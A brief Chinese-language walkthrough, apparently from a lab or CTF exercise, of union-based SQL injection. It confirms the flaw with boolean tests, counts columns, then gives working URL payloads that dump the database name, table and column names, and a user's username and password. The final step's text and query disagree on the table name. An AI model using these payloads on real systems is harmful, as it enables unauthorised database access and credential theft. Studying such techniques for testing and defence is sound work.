1.判断是否存在漏洞

添加and 1=1发现正常显示，添加and 1=2无回显条目，则存在sql注入漏洞

2.因为有回显，尝试union联合注入，使用order by判断出有3个字段

3.使用union联合注入查看回显位，发现3三个字段均有回显，任意使用字段注入即可

4.获取数据库名

?id=-1 union select database(),2,3

5.获取表名，这时候发现如果使用1和2回显位会显示报错，那么可以使用3回显位回显

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

6.猜测用户可能存在user或users表中，先使用user表查看字段

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="user"

7.查看id=1的username和password

这里应该不是user表，真是用户存在users表，将表名改为users一样

?id=-1 union select 1,2,group_concat(username,',',password) from user where id=1